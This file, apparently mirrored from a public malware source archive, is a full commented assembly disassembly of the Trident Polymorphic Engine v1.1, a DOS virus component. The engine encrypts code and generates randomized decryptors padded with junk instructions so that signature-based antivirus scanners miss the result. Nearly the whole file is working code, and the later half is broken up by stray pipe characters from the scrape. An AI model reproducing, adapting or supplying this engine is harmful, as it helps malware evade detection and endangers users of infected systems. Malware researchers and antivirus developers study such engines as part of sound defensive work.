mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 09:52:32 +00:00
1029 lines
30 KiB
NASM
1029 lines
30 KiB
NASM
.radix 16
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;=============================================================================
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; =
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; Trident Polymorphic Engine v1.1 =
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; ------------------------------- =
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; =
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; Dissassembled by: Lucifer Messiah -- ANARKICK SYSTEMS =
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; =
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; This dissassembly uses as many of the labels from the =
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; TPE v1.2 dissassembly as possible, to allow comparison =
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; =
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;----------------------------------------------------------------------------=
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; =
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; Trident Polymorphic Engine v1.1 =
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; ------------------------------- =
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; =
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; Input: =
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; ES Work Segment =
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; DS:DX Code to be encrypted =
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; BP Becomes offset of TPE =
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; SI Distance to put between decryptor and code =
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; CX Length of code to encrypt =
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; AX Bit Field Flags: bit 0: DS will not be equal to CS =
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; bit 1: insert random instructions =
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; bit 2: put junk before decryptor =
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; bit 3: Preserve AX with decryptor =
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; =
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; Output: =
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; ES Work Segment (preserved) =
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; DS:DX Decryptor + encrypted code =
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; BP Start of decryptor (preserved) =
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; DI Length of decryptor/offset of encrypted code =
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; CX Length of decryptor + encrypted code =
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; AX Length of encrypted code =
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; =
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;=============================================================================
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.model tiny
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.code
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org 0
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public rnd_init
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public rnd_get
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public crypt
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public tpe_top
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public tpe_bottom
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tpe_top equ $
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db '[ MK / TridenT ]' ;encryptor name
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crypt:
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xor di,di
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call dword ptr ds:[5652h] ;????
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push cs ;save registers
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pop ds
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mov byte ptr flags,al
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test al,8
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je no_push
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mov al,50h
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stosb
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no_push:
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call rnd_get ;add a few bytes to cx
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and ax,1fh
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add cx,ax
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push cx ;save length of code
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call rnd_get ;get random flags
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xchg ax,bx
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;--- Flags: -----------------------------------------------
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;
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; 0,1 encryption method
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; 2,3 which registers to use in encryption engine
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; 4 use byte or word for encrypt
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; 5 MOV AL, MOV AH, or MOV AX
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; 6 MOV CL, MOV CH, or MOV CX
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; 7 AX or DX
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; 8 count up or down
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; 9 ADD/SUB/INC/DEC or CMPSW/SCASW
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; A ADD/SUB or INC/DEC
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; CMPSW or SCASW
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; B offset in XOR instrucion?
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; C LOOPNZ or LOOP
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; SUB CX or DEC CX
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; D carry with crypt ADD/SUB
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; E carry with inc ADD/SUB
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; F XOR instruction value or AX/DX
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;
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;----------------------------------------------------------
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random:
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call rnd_get ;get encryption value
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or al,al ;is it a 0?
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je random ;redo it if it is
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mov word ptr xor_val,ax ;store non-zero encryptor
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call do_junk ;insert random instructions
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pop cx
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mov ax,0111h ;make flags to remember which
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test bl,20h ; MOV instructions are used
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jne z0
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xor al,07
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z0:
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test bl,0ch
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jne z1
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xor al,70h
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z1:
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test bl,40h
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jne z2
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xor ah,7
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z2:
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test bl,10h
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jne z3
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and al,73h
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z3:
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test bh,80h
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jne z4
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and al,70h
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z4:
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mov dx,ax
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mov_lup:
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call rnd_get ;put MOV instrucions in a
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and ax,0fh ; random order
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cmp al,0ah
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ja mov_lup
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mov si,ax ;
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push cx ;test if MOV already done
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xchg ax,cx
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mov ax,1
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shl ax,cl
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mov cx,ax
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and cx,dx
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pop cx
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je mov_lup
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xor dx,ax ;remember which MOV done
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push dx
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call do_mov
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call do_nop ;insert a random NOP
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pop dx
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or dx,dx ;all MOVs done?
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jne mov_lup
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push di ;save start of decryptor loop
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call do_add_ax ;ADD AX for loop
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call do_nop
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test bh,20h ;carry with ADD/SUB?
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je no_clc
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mov al,0f8h
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stosb
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no_clc:
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mov word ptr xor_offset,0
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call do_xor ;place all loop instructions
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call do_nop
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call do_add
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pop dx ;get start of decryptor loop
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call do_loop
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test byte ptr store_mov,8 ;insert POP AX?
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je no_pop
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mov al,58h
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stosb
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no_pop:
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xor ax,ax
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test bh,01
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je no_pop2
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mov ax,cx
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dec ax
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test bl,10h
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je no_pop2
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and al,0feh
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no_pop2:
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add ax,di ;calculate loop offset
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add ax,bp
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pop si
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add ax,si
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sub ax,word ptr xor_offset
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mov si,word ptr where_len
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test bl,0ch ;are BL,BH used for encryption?
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jne v2
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mov byte ptr es:[si],al
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mov si,word ptr where_len2
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mov byte ptr es:[si],ah
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jmp short v3
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v2:
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mov word ptr es:[si],ax
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v3:
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mov dx,word ptr xor_val
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pop si ;ds:si=start of code
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pop ds
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push di ;save pointer to start of code
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push cx ; and length of encrypted code
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test bl,10h ;byte or word?
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je blup
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inc cx ;cx=# of crypts (words)
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shr cx,1
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lup:
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lodsw ;encrypt code (words)
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call do_encrypt
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stosw
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loop lup
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jmp short klaar
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blup:
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lodsb ;encrypt code (bytes)
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xor dh,dh
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call do_encrypt
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stosb
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loop blup
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klaar:
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mov cx,di ;cx=lenth decryptor + code
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pop ax ;ax=length of decrypted code
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pop di ;offset encrypted code
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xor dx,dx ;ds:dx=decryptor + cr code
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push es
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pop ds
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retn
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;--- Encrypt the Code -------------------------------------
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do_encrypt:
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add dx,word ptr cs:add_val
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test bl,02
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jne lup1
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xor ax,dx
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retn
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lup1:
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test bl,01
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jne lup2
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sub ax,dx
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retn
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lup2:
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add ax,dx
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retn
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;--- Generate MOV reg,xxxx --------------------------------
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do_mov:
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mov dx,si
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mov al,byte ptr ds:mov_byte[si]
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cmp dl,04 ;bx?
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jne is_not_bx
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call add_ind
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is_not_bx:
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test dl,0ch ;a*?
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pushf
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jne is_not_a
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test bl,80h ;a* or d*?
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je is_not_a
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add al,02
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is_not_a:
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call alter ;insert the MOV A*
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popf
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jne is_not_a2
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mov ax,word ptr ds:xor_val
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jmp short sss
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is_not_a2:
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test dl,08 ;b*?
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jne is_not_b
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mov si,offset where_len
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test dl,2
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je is_not_bh
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add si,2
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is_not_bh:
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mov word ptr [si],di
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jmp short sss
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is_not_b:
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mov ax,cx ;c*?
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test bl,10h ;byte or word encrypt?
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je sss
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inc ax ;only 1/2 the number of bytes
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shr ax,1
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sss:
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test dl,3 ;byte or word register?
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je is_x
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test dl,2 ;*h?
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je is_not_h
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xchg ah,al
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is_not_h:
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stosb
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retn
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is_x:
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stosw
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retn
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;--- Insert MOV or alternative for MOV --------------------
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alter:
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push bx
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push cx
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push ax
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call rnd_get
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xchg ax,bx
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pop ax
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test bl,3 ;use alternative for MOV?
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je no_alter
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push ax
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and bx,0fh
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and al,8
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shl ax,1
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or bx,ax
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pop ax
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and al,7
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mov cl,9
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xchg ax,cx
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mul cl
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add ax,30c0h
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xchg ah,al
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test bl,4
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je no_sub
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mov al,28h
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no_sub:
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call maybe_2
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stosw
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mov al,80h
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call maybe_2
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stosb
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lea ax,word ptr alt_code
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xchg ax,bx
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and ax,3
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xlat
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add al,cl
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no_alter:
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stosb
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pop cx
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pop bx
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retn
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;--- Insert ADD AX,xxxx -----------------------------------
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do_add_ax:
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push cx
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lea si,add_val
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mov word ptr [si],0 ;save ADD val
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mov ax,bx
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and ax,8110h
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xor ax,8010h
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jne no_add_ax ;use ADD?
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mov ax,bx
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xor ah,ah
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mov cl,3
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div cl
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or ah,ah
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jne no_add_ax ;use ADD?
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test bl,80h
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jne do_81C2 ;AX or DX?
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mov al,5
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stosb
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jmp short do_add0
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do_81C2:
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mov ax,0c281h
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stosw
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do_add0:
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call rnd_get
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mov word ptr [si],ax
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stosw
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no_add_ax:
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pop cx
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retn
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;--- generate encryption command --------------------------
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do_xor:
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test byte ptr ds:flags,1
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je no_cs
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mov al,2eh ;insert CS: instruction
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stosb
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no_cs:
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test bh,80h ;type of XOR command
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je xor1
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call get_xor
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call do_carry
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call save_it
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xor ax,ax
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test bl,80h
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je xxxx
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add al,10h
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xxxx:
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call add_dir
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test bh,8
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jne yyyy
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stosb
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retn
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yyyy:
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or al,80h
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stosb
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call rnd_get
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stosw
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mov word ptr ds:xor_offset,ax
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retn
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xor1:
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mov al,80h ;encrypt with value
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call save_it
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call get_xor
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call do_carry
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call xxxx
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mov ax,word ptr ds:xor_val
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test bl,10h
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jmp byte_word
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;--- generate increase/decrease command -------------------
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do_add:
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test bl,8 ;no CMPSW/SCASW if BX is used
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je da0
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test bh,2 ;ADD/SUB/INC/DEC or CMPSW/SCASW
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jne do_cmpsw
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da0:
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test bh,4 ;ADD/SUB or INC/DEC?
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je add1
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mov al,40h ;INC/DEC
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test bh,01
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je add0
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add al,8
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add0:
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call add_ind
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stosb
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test bl,10h
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je return
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stosb
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return:
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retn
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add1:
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test bh,40h ;ADD/SUB
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je no_clc2 ;carry?
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mov al,0f8h ;insert CLC
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stosb
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no_clc2:
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mov al,83h
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stosb
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mov al,0c0h
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test bh,01
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je b0627f
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mov al,0e8h ;insert XXX
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b0627f:
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test bh,40h
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je add2
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and al,0cfh
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or al,10h
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add2:
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call add_ind
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stosb
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mov al,01
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save_it:
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call add_1
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stosb
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retn
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b06293:
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test bh,01
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je do_cmpsw
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mov al,0fdh ;add XXX
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stosb
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do_cmpsw:
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test bh,4 ;CMPSE or SCASW?
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je normal_cmpsw
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test bl,4 ;no SCASW if SI is used
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jne do_scasw
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normal_cmpsw:
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mov al,0a6h
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jmp short save_it
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do_scasw:
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mov al,0aeh
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jmp short save_it
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;--- generate LOOP command --------------------------------
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do_loop:
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test bh,01 ;no JNE if counting down
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jne do_loop2
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call rnd_get
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test al,01
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jne cx_loop
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do_loop2:
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mov al,0e0h ;LOOPNZ or LOOP?
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test bh,1ah ; no LOOPNZ if xor-offset
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je l10 ; no LOOPNZ if CMP/SCASW
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add al,2
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l10:
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stosb
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mov ax,dx
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sub ax,di
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dec ax
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stosb
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retn
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cx_loop:
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test bh,10h ;SUB CX or DEC CX?
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jne cx1_dec
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mov ax,0e983h
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stosw
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mov al,1
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stosb
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jmp short do_jne
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cx1_dec:
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mov al,49h
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stosb
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do_jne:
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mov al,75h
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jmp short l10
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;--- add value to AL depending on register type -----------
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add_dir:
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lea si,word ptr dir_change
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jmp short xx1
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add_ind:
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lea si,word ptr ind_change
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xx1:
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push bx
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shr bl,1
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shr bl,1
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and bx,3
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add al,byte ptr [bx+si]
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pop bx
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retn
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;--- move encyryption command byte to AL ------------------
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get_xor:
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push bx
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lea ax,word ptr how_mode
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xchg ax,bx
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and ax,3
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xlat
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pop bx
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retn
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;--- change ADD to ADC ------------------------------------
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do_carry:
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test bl,2 ;ADD/SUB used for encryption
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je no_ac
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test bh,20h
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je no_ac
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and al,0cfh
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or al,10h
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no_ac:
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retn
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;--- change AL (byte/word) --------------------------------
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add_1:
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test bl,10h
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je add_1_ret
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inc al
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add_1_ret:
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retn
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;--- change AL (byte/word) --------------------------------
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maybe_2:
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call add_1 ;can't touch this...
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cmp al,81h
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je maybe_not
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push ax
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call rnd_get
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test al,1
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pop ax
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je maybe_not
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add al,2
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maybe_not:
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retn
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;--- insert random instructions ---------------------------
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do_nop:
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test byte ptr ds: flags,2
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yes_nop:
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je no_nop
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call rnd_get
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test al,3
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je nop8
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test al,2
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je nop16
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b0633b equ $+01h
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test al,1
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je nop16x
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no_nop:
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retn
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;--- insert random nop (or not) ---------------------------
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do_junk:
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test byte ptr ds:flags,4
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je no_junk
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call rnd_get ;put a random number of
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and ax,0fh ; dummy instructions before
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inc ax ; decryptor
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xchg ax,cx
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|
junk_loop:
|
|
call junk
|
|
loop junk_loop
|
|
|
|
no_junk:
|
|
retn
|
|
|
|
junk:
|
|
call rnd_get
|
|
and ax,01eh
|
|
jmp short aa0
|
|
|
|
nop16x:
|
|
call rnd_get
|
|
and ax,6
|
|
|
|
aa0:
|
|
xchg ax,si
|
|
call rnd_get
|
|
jmp word ptr ds:junk_cals[si]
|
|
|
|
|
|
;-----------------------------------------------------
|
|
|
|
junk_cals:
|
|
dw offset nop16x0
|
|
dw offset nop16x1
|
|
dw offset nop16x2
|
|
dw offset nop16x3
|
|
dw offset nop8
|
|
dw offset nop16
|
|
dw offset junk6
|
|
dw offset junk7
|
|
dw offset junk8
|
|
dw offset junk9
|
|
dw offset junkA
|
|
dw offset junkB
|
|
dw offset junkC
|
|
dw offset junkD
|
|
dw offset junkE
|
|
dw offset junkF
|
|
|
|
;-----------------------------------------------------
|
|
|
|
nop16x0:
|
|
add byte ptr [si],cl ;J* 0000 (conditional)
|
|
jo yes_nop ;jump on overflow
|
|
retn
|
|
|
|
nop16x1:
|
|
mov al,0ebh ;JMP xxxx/junk
|
|
and ah,7
|
|
inc ah
|
|
stosw
|
|
xchg ah,al ;get length of bullshit
|
|
cbw ;convert AL to AX
|
|
jmp fill_bullshit
|
|
|
|
nop16x2:
|
|
call junkD ;XCHG AX,reg/XCHG AX,reg
|
|
stosb
|
|
retn
|
|
|
|
nop16x3:
|
|
call junkF ;INC/DEC or DEC/INC
|
|
xor al,8
|
|
stosb
|
|
retn
|
|
|
|
nop8:
|
|
push bx
|
|
and al,7
|
|
lea bx,word ptr nop_data8
|
|
xlat
|
|
stosb
|
|
pop bx
|
|
retn
|
|
|
|
nop16:
|
|
push bx
|
|
and ax,0303h
|
|
lea bx,word ptr nop_data16
|
|
xlat
|
|
add al,ah
|
|
stosb
|
|
call rnd_get
|
|
and al,7
|
|
mov bl,9
|
|
mul bl
|
|
add al,0c0h
|
|
stosb
|
|
pop bx
|
|
retn
|
|
|
|
junk6:
|
|
push cx
|
|
mov al,0e8h
|
|
and ah,0fh ;CALL xxxx/junk/POP reg
|
|
inc ah
|
|
stosw
|
|
xor al,al
|
|
stosb
|
|
xchg ah,al
|
|
call fill_bullshit
|
|
call do_nop
|
|
call rnd_get ;insert POP reg
|
|
and al,7
|
|
call no_sp
|
|
mov cx,ax
|
|
or al,58h
|
|
stosb
|
|
test ch,3 ;more?
|
|
jne junk6_ret
|
|
call do_nop
|
|
mov ax,0f087h ;insert XCHG SI,reg
|
|
or ah,cl
|
|
test ch,8
|
|
je j6_1
|
|
mov al,8bh
|
|
|
|
j6_1:
|
|
stosw
|
|
call do_nop
|
|
push bx
|
|
call rnd_get
|
|
xchg ax,bx
|
|
and bx,0f7fbh ;insert XOR [SI],xxxx
|
|
or bl,8
|
|
call do_xor
|
|
pop bx
|
|
|
|
junk6_ret:
|
|
pop cx
|
|
retn
|
|
|
|
junk7:
|
|
and al,0fh ;MOV reg,xxxx
|
|
or al,0b0h
|
|
call no_sp
|
|
stosb
|
|
test al,8
|
|
pushf
|
|
call rnd_get
|
|
popf
|
|
jmp short byte_word
|
|
|
|
junk8:
|
|
and ah,39h ;DO r/m,r(8,16)
|
|
or al,0c0h
|
|
call no_sp
|
|
xchg ah,al
|
|
stosw
|
|
retn
|
|
|
|
junk9:
|
|
and al,3bh ;DO r(8,16),r/m
|
|
or al,2
|
|
and ah,3fh
|
|
call no_sp2
|
|
call no_bp
|
|
stosw
|
|
retn
|
|
|
|
junkA:
|
|
and ah,1 ;DO rm,xxxx
|
|
or ax,80c0h
|
|
call no_sp
|
|
xchg ah,al
|
|
stosw
|
|
test al,1
|
|
pushf
|
|
call rnd_get
|
|
popf
|
|
jmp short byte_word
|
|
|
|
junkB:
|
|
call nop8 ;NOP/LOOP
|
|
mov ax,0fde2h
|
|
stosw
|
|
retn
|
|
|
|
junkC:
|
|
and al,9 ;CMPS* or SCAS*
|
|
test ah,1
|
|
je mov_test
|
|
or al,0a6h
|
|
stosb
|
|
retn
|
|
|
|
mov_test:
|
|
or al,0a0h ;MOV AX,[xxxx] or TEST AX,xxxx
|
|
stosb
|
|
cmp al,0a8h
|
|
pushf
|
|
call rnd_get
|
|
popf
|
|
jmp short byte_word
|
|
|
|
junkD:
|
|
and al,7 ;XCHG AX,reg
|
|
or al,90h
|
|
call no_sp
|
|
stosb
|
|
retn
|
|
|
|
junkE:
|
|
and ah,7
|
|
or ah,50h
|
|
mov al,ah
|
|
or ah,8
|
|
stosw
|
|
retn
|
|
|
|
junkF:
|
|
and al,0fh ;INC/DEC
|
|
or al,40h
|
|
call no_sp
|
|
stosb
|
|
retn
|
|
|
|
;--- store a byte or a word -------------------------------
|
|
|
|
byte_word:
|
|
je only_byte
|
|
stosw
|
|
retn
|
|
|
|
only_byte:
|
|
stosb
|
|
retn
|
|
|
|
;--- don't fuck with sp -----------------------------------
|
|
|
|
no_sp:
|
|
push ax
|
|
and al,7
|
|
cmp al,4
|
|
pop ax
|
|
jne no_sp_ret
|
|
and al,0fbh
|
|
|
|
no_sp_ret:
|
|
retn
|
|
|
|
;--- don't fuck with sp -----------------------------------
|
|
|
|
no_sp2:
|
|
push ax
|
|
and ah,38h
|
|
cmp ah,20h
|
|
pop ax
|
|
jne no_sp2_ret
|
|
xor ah,20h
|
|
|
|
no_sp2_ret:
|
|
retn
|
|
|
|
;--- don't use [bp + ..] ----------------------------------
|
|
|
|
no_bp:
|
|
test ah,4
|
|
jne no_bp2
|
|
and ah,0fdh
|
|
retn
|
|
|
|
no_bp2:
|
|
push ax
|
|
and ah,7
|
|
cmp ah,6
|
|
pop ax
|
|
jne no_bp_ret
|
|
or ah,1
|
|
|
|
no_bp_ret:
|
|
retn
|
|
|
|
;--- write byte for JMP/CAL and fill with random bullshit -
|
|
|
|
fill_bullshit:
|
|
push cx
|
|
xchg ax,cx
|
|
|
|
bull_lup:
|
|
call rnd_get
|
|
stosb
|
|
loop bull_lup
|
|
pop cx
|
|
retn
|
|
|
|
;--- random number generator ------------------------------
|
|
|
|
rnd_init:
|
|
push ax
|
|
push cx
|
|
call random_init0
|
|
and ax,0h
|
|
inc ax
|
|
xchg ax,cx
|
|
|
|
random_lup:
|
|
call rnd_get ;cal random routine a few
|
|
loop random_lup ; times to 'warm up'
|
|
pop cx
|
|
pop ax
|
|
retn
|
|
|
|
random_init0:
|
|
push dx ;initialize generator
|
|
push cx
|
|
mov ah,2ch
|
|
int 21h ;get time CH,CL:DH,DL
|
|
in al,40h ;timer
|
|
mov ah,al
|
|
in al,40h ;timer
|
|
xor ax,cx
|
|
xor dx,ax
|
|
jmp short mov_rnd
|
|
|
|
rnd_get:
|
|
push dx ;calculate random number
|
|
push cx
|
|
push bx
|
|
in al,40h
|
|
|
|
d06502 equ $+01h
|
|
add ax,0000h
|
|
|
|
d06505 equ $+01h
|
|
mov dx,0000h
|
|
mov cx,0007h
|
|
|
|
rnd_lup:
|
|
shl ax,1
|
|
rcl dx,1
|
|
mov bl,al
|
|
xor bl,dh
|
|
jns rnd_12
|
|
inc al
|
|
|
|
rnd_12:
|
|
loop rnd_lup
|
|
pop bx
|
|
|
|
mov_rnd:
|
|
mov word ptr cs:d06502,ax
|
|
mov word ptr cs:d06505,dx
|
|
mov al,dl
|
|
pop cx
|
|
pop dx
|
|
retn
|
|
|
|
;-----------------------------------------------------
|
|
;.data
|
|
|
|
mov_byte db 0b8,0b0,0b4,00 ;AX,AL,AH,..
|
|
db 0b8,0b3,0b7,00 ;BX,GL,GH,..
|
|
db 0b9,0b1,0b5 ;CX,CL,CH
|
|
|
|
nop_data8 db 90,0f8,0f9,0f5 ;NOP,CLC,STC,CMC
|
|
db 0fa,0fc,45,4dh ;CLI,CLD,INC BP,DEC BP
|
|
|
|
nop_data16 db 08,20,84,88 ;OR,AND,XCHG,MOV
|
|
|
|
dir_change db 07,07,04,05 ;BL/BH,BX,SI,DI
|
|
|
|
ind_change db 03,03,06,07 ;BL/BH,BX,SI,DI
|
|
|
|
how_mode db 30,30,00,28 ;XOR,XOR,ADD,SUB
|
|
|
|
alt_code dw 0c800h,0c0f0h ;ADD AL,CL,????
|
|
|
|
add_val dw 0
|
|
xor_val dw 0
|
|
xor_offset dw 0
|
|
where_len dw 0
|
|
where_len2 dw 0
|
|
store_mov db 0
|
|
flags db 0
|
|
|
|
db '[TPE 1.1]'
|
|
|
|
tpe_bottom equ $
|
|
|
|
end tpe_top
|
|
|